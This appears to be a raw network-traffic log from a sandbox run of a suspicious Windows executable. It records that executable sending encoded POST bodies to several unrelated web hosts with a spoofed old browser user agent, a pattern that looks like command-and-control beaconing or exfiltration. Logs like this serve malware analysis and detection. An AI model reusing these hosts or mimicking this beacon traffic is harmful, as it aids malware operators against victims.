friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 25, 2024 11:17:39.332055092 CEST	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Fri, 25 Oct 2024 09:17:38 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 25, 2024 11:17:39.501539946 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.cel-cpa.com Cache-Control: no-cache Data Raw: 78 41 35 44 36 46 6f 55 34 2f 6b 7a 58 36 65 31 66 64 66 63 59 35 33 79 4f 47 4e 4b 4f 32 31 31 4c 72 52 2f 35 4d 4c 79 68 48 4a 50 67 78 4c 48 37 43 54 63 57 43 5a 34 6b 4a 72 33 51 56 63 64 6c 38 53 46 4d 6c 30 75 6b 4c 6d 6d 4c 4f 6b 61 39 66 42 4c 33 4d 51 6c 52 53 42 71 59 78 42 69 6b 4b 76 43 62 68 4e 59 76 34 6e 62 72 49 57 54 2b 35 71 6d 6e 75 58 56 6a 79 41 6b 46 6c 55 6e 42 65 61 6a 74 53 70 74 55 50 6a 78 31 2b 75 6c 4c 5a 7a 30 51 75 4e 52 6e 6e 36 31 43 69 52 63 76 57 69 53 4e 43 71 63 70 79 53 39 6a 4f 49 56 6a 72 67 58 36 63 4c 69 33 64 6e 45 4b 39 77 58 69 58 35 42 61 59 46 6d 73 61 45 75 65 4d 48 68 6a 42 64 6c 37 37 51 4c 74 74 46 6a 7a 31 2f 43 33 50 59 4d 5a 2f 73 76 70 61 65 35 6b 49 4a 4c 35 45 4b 6e 52 6f 4e 48 70 4a 33 74 33 68 63 41 45 77 34 78 78 72 71 77 47 59 56 4e 44 57 76 58 4f 36 67 58 42 75 79 78 41 6d 53 41 78 30 30 58 36 66 51 71 67 49 76 69 4f 65 66 72 59 72 57 73 6b 33 75 69 41 54 33 45 55 31 4e 4f 36 4c 31 58 75 4a 69 4a 49 44 52 4c 49 47 2f 63 39 36 75 50 4f 72 [TRUNCATED] Data Ascii: xA5D6FoU4/kzX6e1fdfcY53yOGNKO211LrR/5MLyhHJPgxLH7CTcWCZ4kJr3QVcdl8SFMl0ukLmmLOka9fBL3MQlRSBqYxBikKvCbhNYv4nbrIWT+5qmnuXVjyAkFlUnBeajtSptUPjx1+ulLZz0QuNRnn61CiRcvWiSNCqcpyS9jOIVjrgX6cLi3dnEK9wXiX5BaYFmsaEueMHhjBdl77QLttFjz1/C3PYMZ/svpae5kIJL5EKnRoNHpJ3t3hcAEw4xxrqwGYVNDWvXO6gXBuyxAmSAx00X6fQqgIviOefrYrWsk3uiAT3EU1NO6L1XuJiJIDRLIG/c96uPOrC2CFeubFtCfIAssCjkK6joaCQv2gJxyjO27ps/X3no5nMWgmPiGJUEaKE7Sx1EhNhHiOTlHp8MhFwikiAa28v+45zLhm45cf241tPo75yqnwIzaw/Xlw24lIgXPT2nToQVfaxDeop1/mZwtuIddiK1SuN8ZB/J3SfyyMkGZbXHt+29B/NMm/7PWm8++2bQGqClYBDfwqKWV9Uqo0y6Dqc=
Oct 25, 2024 11:17:39.686331034 CEST	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Fri, 25 Oct 2024 09:17:39 GMT Content-Type: text/html Content-Length: 552 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	52616	217.19.237.54	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:38.642699957 CEST	819	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.speelhal.net Cache-Control: no-cache Data Raw: 43 4e 50 6c 44 4d 72 47 4a 76 72 44 54 47 58 38 4c 59 64 56 7a 59 33 2b 69 66 78 36 35 72 79 7a 6e 70 58 4b 5a 32 38 61 44 7a 74 77 6a 44 56 54 70 5a 56 78 78 72 78 71 39 50 6e 75 64 61 59 6c 64 57 38 6f 68 4f 32 47 69 49 6c 47 4c 6e 6d 2b 70 46 51 74 54 31 66 77 30 64 33 35 73 53 48 4f 4c 4d 31 70 68 64 64 64 30 62 63 41 36 72 5a 6b 59 7a 75 36 6d 2b 6a 69 76 51 2b 79 70 6a 4d 61 78 61 75 74 68 32 34 58 37 6b 6c 37 4a 42 37 6f 62 4e 4c 46 79 64 79 67 6d 38 59 42 38 6e 4d 62 49 2f 38 76 71 54 4e 6e 43 6f 70 6f 70 2f 69 6e 53 37 6e 6c 62 2b 4c 41 30 53 50 48 51 45 33 2b 7a 30 37 35 74 79 2f 4d 69 6a 4f 44 6d 7a 47 6f 2b 6b 51 7a 58 6b 4f 76 73 53 63 54 32 42 6e 33 34 76 30 6e 68 4c 36 6a 71 67 79 38 6c 53 33 48 6a 39 63 57 69 33 6f 64 35 55 38 44 53 41 74 51 37 55 33 74 63 56 58 36 66 74 35 6c 75 36 69 69 75 6f 2b 36 63 6d 59 78 6d 68 76 66 5a 67 6b 49 6c 6d 36 64 79 54 7a 72 34 65 62 32 39 6d 55 4a 53 53 41 58 36 64 4a 62 6e 54 42 32 54 56 74 4f 6f 72 47 42 55 51 64 70 50 6c 2f 6a 31 75 49 57 79 53 [TRUNCATED] Data Ascii: CNPlDMrGJvrDTGX8LYdVzY3+ifx65ryznpXKZ28aDztwjDVTpZVxxrxq9PnudaYldW8ohO2GiIlGLnm+pFQtT1fw0d35sSHOLM1phddd0bcA6rZkYzu6m+jivQ+ypjMaxauth24X7kl7JB7obNLFydygm8YB8nMbI/8vqTNnCopop/inS7nlb+LA0SPHQE3+z075ty/MijODmzGo+kQzXkOvsScT2Bn34v0nhL6jqgy8lS3Hj9cWi3od5U8DSAtQ7U3tcVX6ft5lu6iiuo+6cmYxmhvfZgkIlm6dyTzr4eb29mUJSSAX6dJbnTB2TVtOorGBUQdpPl/j1uIWySNg0ko127zGuApc52T6s+kDwPYic5o09GYeSIT3qxqeUnnPPLFu3R9+X2ki4+V+FG8pXaQR/txXdutGxuL8ZReEoSFNjaikNu3XATRp1RZkzcJ3eYdwerTeFWRrtZZZWGs9mqjeIXwiojaAU6zFkFHgkijTDyJpXbEK0fzdTGQ5t8yvWu365rEgYEq8wrRuROsi00RF7uB0HITgz+KvGoAXEq2HBLlIkyz39hUc8JJFmlRfHZODTPw=
Oct 25, 2024 11:17:38.942765951 CEST	819	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.speelhal.net Cache-Control: no-cache Data Raw: 43 4e 50 6c 44 4d 72 47 4a 76 72 44 54 47 58 38 4c 59 64 56 7a 59 33 2b 69 66 78 36 35 72 79 7a 6e 70 58 4b 5a 32 38 61 44 7a 74 77 6a 44 56 54 70 5a 56 78 78 72 78 71 39 50 6e 75 64 61 59 6c 64 57 38 6f 68 4f 32 47 69 49 6c 47 4c 6e 6d 2b 70 46 51 74 54 31 66 77 30 64 33 35 73 53 48 4f 4c 4d 31 70 68 64 64 64 30 62 63 41 36 72 5a 6b 59 7a 75 36 6d 2b 6a 69 76 51 2b 79 70 6a 4d 61 78 61 75 74 68 32 34 58 37 6b 6c 37 4a 42 37 6f 62 4e 4c 46 79 64 79 67 6d 38 59 42 38 6e 4d 62 49 2f 38 76 71 54 4e 6e 43 6f 70 6f 70 2f 69 6e 53 37 6e 6c 62 2b 4c 41 30 53 50 48 51 45 33 2b 7a 30 37 35 74 79 2f 4d 69 6a 4f 44 6d 7a 47 6f 2b 6b 51 7a 58 6b 4f 76 73 53 63 54 32 42 6e 33 34 76 30 6e 68 4c 36 6a 71 67 79 38 6c 53 33 48 6a 39 63 57 69 33 6f 64 35 55 38 44 53 41 74 51 37 55 33 74 63 56 58 36 66 74 35 6c 75 36 69 69 75 6f 2b 36 63 6d 59 78 6d 68 76 66 5a 67 6b 49 6c 6d 36 64 79 54 7a 72 34 65 62 32 39 6d 55 4a 53 53 41 58 36 64 4a 62 6e 54 42 32 54 56 74 4f 6f 72 47 42 55 51 64 70 50 6c 2f 6a 31 75 49 57 79 53 [TRUNCATED] Data Ascii: CNPlDMrGJvrDTGX8LYdVzY3+ifx65ryznpXKZ28aDztwjDVTpZVxxrxq9PnudaYldW8ohO2GiIlGLnm+pFQtT1fw0d35sSHOLM1phddd0bcA6rZkYzu6m+jivQ+ypjMaxauth24X7kl7JB7obNLFydygm8YB8nMbI/8vqTNnCopop/inS7nlb+LA0SPHQE3+z075ty/MijODmzGo+kQzXkOvsScT2Bn34v0nhL6jqgy8lS3Hj9cWi3od5U8DSAtQ7U3tcVX6ft5lu6iiuo+6cmYxmhvfZgkIlm6dyTzr4eb29mUJSSAX6dJbnTB2TVtOorGBUQdpPl/j1uIWySNg0ko127zGuApc52T6s+kDwPYic5o09GYeSIT3qxqeUnnPPLFu3R9+X2ki4+V+FG8pXaQR/txXdutGxuL8ZReEoSFNjaikNu3XATRp1RZkzcJ3eYdwerTeFWRrtZZZWGs9mqjeIXwiojaAU6zFkFHgkijTDyJpXbEK0fzdTGQ5t8yvWu365rEgYEq8wrRuROsi00RF7uB0HITgz+KvGoAXEq2HBLlIkyz39hUc8JJFmlRfHZODTPw=
Oct 25, 2024 11:17:39.810461998 CEST	182	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:39 GMT Server: Apache Location: https://napoleongames.be Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	52619	122.128.109.107	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.340877056 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.vitaindu.com Cache-Control: no-cache Data Raw: 50 44 71 77 61 41 42 41 35 2f 6d 62 6d 6e 76 54 30 7a 4f 74 55 44 4e 72 2b 56 76 6f 58 75 57 4e 4e 44 65 30 49 59 32 74 53 41 61 4d 37 51 75 57 48 4c 6d 50 4a 67 43 65 6a 35 65 76 57 7a 6b 78 55 56 36 6b 6a 53 45 37 55 6c 48 34 6b 4b 6c 39 67 55 4d 56 5a 6b 73 59 39 67 6d 2f 34 31 79 58 31 48 4f 75 6d 37 58 30 36 70 47 50 2f 4f 50 61 46 66 51 6c 57 33 58 30 2f 47 55 35 72 37 71 67 35 69 73 43 38 59 73 65 38 4a 48 75 42 6d 70 47 72 2b 77 64 78 75 36 30 68 4b 44 35 6c 4f 41 75 4f 59 39 45 66 68 50 7a 50 4a 55 49 2b 30 2f 73 6a 30 5a 77 41 51 74 78 36 6d 67 72 54 51 70 6f 4f 75 56 63 33 64 68 72 53 33 30 52 46 55 71 64 71 58 42 68 43 44 2b 45 6b 4d 48 36 4d 6b 47 4f 71 42 43 4c 49 62 65 58 65 4e 62 6c 39 70 4b 2b 45 70 4b 61 7a 61 32 33 34 6f 45 30 6d 32 4c 2b 74 65 63 77 34 4f 72 74 56 55 62 41 73 44 7a 30 63 6f 41 72 52 45 38 35 59 62 68 6b 57 57 61 6c 6a 6b 43 2b 46 6e 71 37 67 43 58 4f 46 6d 71 34 47 41 44 37 79 2b 45 61 30 77 61 72 77 62 38 36 6b 35 52 49 43 6f 6f 62 67 65 4e 6c 61 70 54 78 71 4e [TRUNCATED] Data Ascii: PDqwaABA5/mbmnvT0zOtUDNr+VvoXuWNNDe0IY2tSAaM7QuWHLmPJgCej5evWzkxUV6kjSE7UlH4kKl9gUMVZksY9gm/41yX1HOum7X06pGP/OPaFfQlW3X0/GU5r7qg5isC8Yse8JHuBmpGr+wdxu60hKD5lOAuOY9EfhPzPJUI+0/sj0ZwAQtx6mgrTQpoOuVc3dhrS30RFUqdqXBhCD+EkMH6MkGOqBCLIbeXeNbl9pK+EpKaza234oE0m2L+tecw4OrtVUbAsDz0coArRE85YbhkWWaljkC+Fnq7gCXOFmq4GAD7y+Ea0warwb86k5RICoobgeNlapTxqNUG2kVgLqWfVDrP9RokesF+dgcvr1AY+8l/Aoo3YDM/ELitG3QoNKG66X91H7hbhdDzFBnxVrN5xb1cbhe1rUnqM+Iz8vr3MOU0WvpzkT4OIAqe1fADNVYynXY129jiL82nR5PuqcpxN9+jeGEuINT2NUrrY1FK264OFTrCraex3V9nR2KX5kT74cesesWURngBWUdrVV4B03pPRiVJjii7
Oct 25, 2024 11:17:40.283195019 CEST	203	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache/2.4.10 (Debian) Location: https://hkoptlens.com/en/join Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	52618	75.119.202.130	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.344604015 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fink.com Cache-Control: no-cache Data Raw: 6a 34 44 6f 51 51 7a 66 46 2f 6f 75 2b 62 32 57 64 77 36 77 4f 68 2b 36 32 74 50 6b 4b 4e 51 65 41 4e 6c 75 74 61 52 77 69 62 58 76 46 52 4f 2b 77 79 33 72 53 6a 68 72 62 42 6f 6e 59 76 31 69 52 4a 78 76 6a 53 4b 50 34 53 69 54 44 53 5a 42 69 34 32 53 72 58 39 67 6e 41 6e 32 42 6e 4a 49 53 64 74 76 54 6b 52 6e 42 4f 65 63 67 4f 41 4f 33 68 4a 65 6d 4b 30 34 59 30 39 32 39 4b 33 2f 66 50 79 6d 51 41 53 49 5a 31 42 5a 63 52 7a 45 63 2b 57 4e 44 63 6a 73 65 6e 74 65 4a 67 66 47 6c 77 52 44 7a 31 55 59 7a 42 33 6d 49 75 63 30 6f 4a 35 6b 2f 34 6a 4e 73 36 32 48 72 4a 4c 42 62 39 67 4d 69 34 52 33 32 54 31 70 44 2b 61 4f 7a 6f 62 6c 31 41 4d 51 47 59 4a 66 42 31 30 4b 5a 43 75 57 54 62 59 6e 34 68 6b 31 44 38 30 37 35 6d 70 77 2b 74 45 45 73 42 35 75 69 46 65 4c 41 4d 6f 6a 6b 79 61 4f 44 53 4f 30 62 64 4d 61 6f 41 2b 52 30 31 6a 30 4e 59 4c 66 36 6c 34 6b 75 4c 73 48 4d 79 62 39 62 52 5a 56 42 51 74 50 5a 65 58 47 46 68 50 2b 4c 71 44 61 6a 35 39 6d 64 68 35 34 62 66 72 75 6d 6a 34 44 72 37 51 48 74 50 [TRUNCATED] Data Ascii: j4DoQQzfF/ou+b2Wdw6wOh+62tPkKNQeANlutaRwibXvFRO+wy3rSjhrbBonYv1iRJxvjSKP4SiTDSZBi42SrX9gnAn2BnJISdtvTkRnBOecgOAO3hJemK04Y0929K3/fPymQASIZ1BZcRzEc+WNDcjsenteJgfGlwRDz1UYzB3mIuc0oJ5k/4jNs62HrJLBb9gMi4R32T1pD+aOzobl1AMQGYJfB10KZCuWTbYn4hk1D8075mpw+tEEsB5uiFeLAMojkyaODSO0bdMaoA+R01j0NYLf6l4kuLsHMyb9bRZVBQtPZeXGFhP+LqDaj59mdh54bfrumj4Dr7QHtPMGxte++ZAZ9daPDxySYtmf/Cu7y8+OV+PYef9XXEh/fHVH1GtIO5i8Q9Ez1ZhQ+8aBeSD7jTlE3kf4Es4Zl1urdQ430HbW5AZUEsh1GU3DcdohX4WIfZO5WNWXTcTmt/yFyzsHMzKe1WmGDxxnYomBriT0XSBH0lv158IXwtFJ/aa2dWrOSrjFkS1UrFNB2WbVhMpJXsdb+5ttsjAClqdeqAxC
Oct 25, 2024 11:17:40.035278082 CEST	688	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 25 Oct 2024 09:17:39 GMT Server: Apache Content-Length: 531 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 66 69 6e 6b 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@fink.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>
Oct 25, 2024 11:17:40.052046061 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fink.com Cache-Control: no-cache Data Raw: 6a 34 44 6f 51 51 7a 66 46 2f 6f 75 2b 62 32 57 64 77 36 77 4f 68 2b 36 32 74 50 6b 4b 4e 51 65 41 4e 6c 75 74 61 52 77 69 62 58 76 46 52 4f 2b 77 79 33 72 53 6a 68 72 62 42 6f 6e 59 76 31 69 52 4a 78 76 6a 53 4b 50 34 53 69 54 44 53 5a 42 69 34 32 53 72 58 39 67 6e 41 6e 32 42 6e 4a 49 53 64 74 76 54 6b 52 6e 42 4f 65 63 67 4f 41 4f 33 68 4a 65 6d 4b 30 34 59 30 39 32 39 4b 33 2f 66 50 79 6d 51 41 53 49 5a 31 42 5a 63 52 7a 45 63 2b 57 4e 44 63 6a 73 65 6e 74 65 4a 67 66 47 6c 77 52 44 7a 31 55 59 7a 42 33 6d 49 75 63 30 6f 4a 35 6b 2f 34 6a 4e 73 36 32 48 72 4a 4c 42 62 39 67 4d 69 34 52 33 32 54 31 70 44 2b 61 4f 7a 6f 62 6c 31 41 4d 51 47 59 4a 66 42 31 30 4b 5a 43 75 57 54 62 59 6e 34 68 6b 31 44 38 30 37 35 6d 70 77 2b 74 45 45 73 42 35 75 69 46 65 4c 41 4d 6f 6a 6b 79 61 4f 44 53 4f 30 62 64 4d 61 6f 41 2b 52 30 31 6a 30 4e 59 4c 66 36 6c 34 6b 75 4c 73 48 4d 79 62 39 62 52 5a 56 42 51 74 50 5a 65 58 47 46 68 50 2b 4c 71 44 61 6a 35 39 6d 64 68 35 34 62 66 72 75 6d 6a 34 44 72 37 51 48 74 50 [TRUNCATED] Data Ascii: j4DoQQzfF/ou+b2Wdw6wOh+62tPkKNQeANlutaRwibXvFRO+wy3rSjhrbBonYv1iRJxvjSKP4SiTDSZBi42SrX9gnAn2BnJISdtvTkRnBOecgOAO3hJemK04Y0929K3/fPymQASIZ1BZcRzEc+WNDcjsenteJgfGlwRDz1UYzB3mIuc0oJ5k/4jNs62HrJLBb9gMi4R32T1pD+aOzobl1AMQGYJfB10KZCuWTbYn4hk1D8075mpw+tEEsB5uiFeLAMojkyaODSO0bdMaoA+R01j0NYLf6l4kuLsHMyb9bRZVBQtPZeXGFhP+LqDaj59mdh54bfrumj4Dr7QHtPMGxte++ZAZ9daPDxySYtmf/Cu7y8+OV+PYef9XXEh/fHVH1GtIO5i8Q9Ez1ZhQ+8aBeSD7jTlE3kf4Es4Zl1urdQ430HbW5AZUEsh1GU3DcdohX4WIfZO5WNWXTcTmt/yFyzsHMzKe1WmGDxxnYomBriT0XSBH0lv158IXwtFJ/aa2dWrOSrjFkS1UrFNB2WbVhMpJXsdb+5ttsjAClqdeqAxC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	52617	213.165.251.217	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.369349957 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.stnic.co.uk Cache-Control: no-cache Data Raw: 4e 31 61 41 32 48 64 6a 4c 66 71 4e 73 55 77 4d 35 6d 72 39 76 4d 43 55 44 54 49 74 36 51 6e 71 6d 36 36 75 68 51 63 35 53 56 65 4d 73 35 59 49 31 50 2f 49 73 74 56 48 32 63 38 43 37 30 71 4e 4e 6e 73 62 72 5a 54 52 58 41 59 48 45 52 49 35 42 71 58 4f 54 42 4d 75 30 76 39 54 56 74 76 70 48 37 72 75 61 68 44 52 6a 77 35 31 46 50 55 38 30 4e 43 34 63 4f 54 41 35 72 45 71 4c 4c 63 6e 35 48 79 6c 48 62 64 79 45 6a 45 2f 51 34 56 78 38 51 4b 6c 72 74 6e 52 4b 39 71 39 4f 63 61 6c 41 34 44 45 42 6d 44 57 75 32 64 54 4f 39 75 76 4d 2b 32 36 44 55 74 4d 48 4a 65 6b 66 67 54 6a 4d 45 61 75 76 71 42 65 66 32 46 76 43 48 48 48 30 53 2f 35 37 6c 6d 4e 55 4c 49 70 70 50 62 75 69 78 65 33 42 54 32 79 2b 2b 55 4d 54 31 52 70 55 61 37 4e 77 71 43 30 46 32 6e 47 4f 2f 58 6f 38 77 33 51 63 4c 2b 48 39 4a 64 49 59 52 33 55 64 78 56 52 78 34 7a 4a 6e 6a 33 51 7a 59 4a 77 6c 46 58 63 42 74 47 52 45 32 73 4b 62 63 72 66 51 31 59 54 55 33 4d 46 55 6e 31 30 38 75 73 79 6d 2b 6c 63 76 44 4e 2b 52 61 35 61 4c 72 74 6f 59 46 [TRUNCATED] Data Ascii: N1aA2HdjLfqNsUwM5mr9vMCUDTIt6Qnqm66uhQc5SVeMs5YI1P/IstVH2c8C70qNNnsbrZTRXAYHERI5BqXOTBMu0v9TVtvpH7ruahDRjw51FPU80NC4cOTA5rEqLLcn5HylHbdyEjE/Q4Vx8QKlrtnRK9q9OcalA4DEBmDWu2dTO9uvM+26DUtMHJekfgTjMEauvqBef2FvCHHH0S/57lmNULIppPbuixe3BT2y++UMT1RpUa7NwqC0F2nGO/Xo8w3QcL+H9JdIYR3UdxVRx4zJnj3QzYJwlFXcBtGRE2sKbcrfQ1YTU3MFUn108usym+lcvDN+Ra5aLrtoYFVI5aG7MdHuJqaQ//3MfAwAvrfBH7jQ2G5PZrXKy4wbpLzK6t5XSGl6B0Qovke7psm3Ipzomk/KmIXhBaPKgirOJXLu5PcyvU90M7XM3JztUqEO5CS/A57b9xHiNp8i/WulRn9M2ba1/bpKZCwXjky1ITvA6IMLS9TjlJfF8SOXhRsnnEE1xENWGy98T5nbOTMjDMnBwXFpLortcdNxkQ==
Oct 25, 2024 11:17:41.466403008 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.27.2 Date: Fri, 25 Oct 2024 09:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Link: <https://www.stnic.co.uk/wp-json/>; rel="https://api.w.org/", <https://www.stnic.co.uk/wp-json/wp/v2/pages/63>; rel="alternate"; title="JSON"; type="application/json", <https://www.stnic.co.uk/>; rel=shortlink Vary: Accept-Encoding,User-Agent Data Raw: 37 65 38 32 0d 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 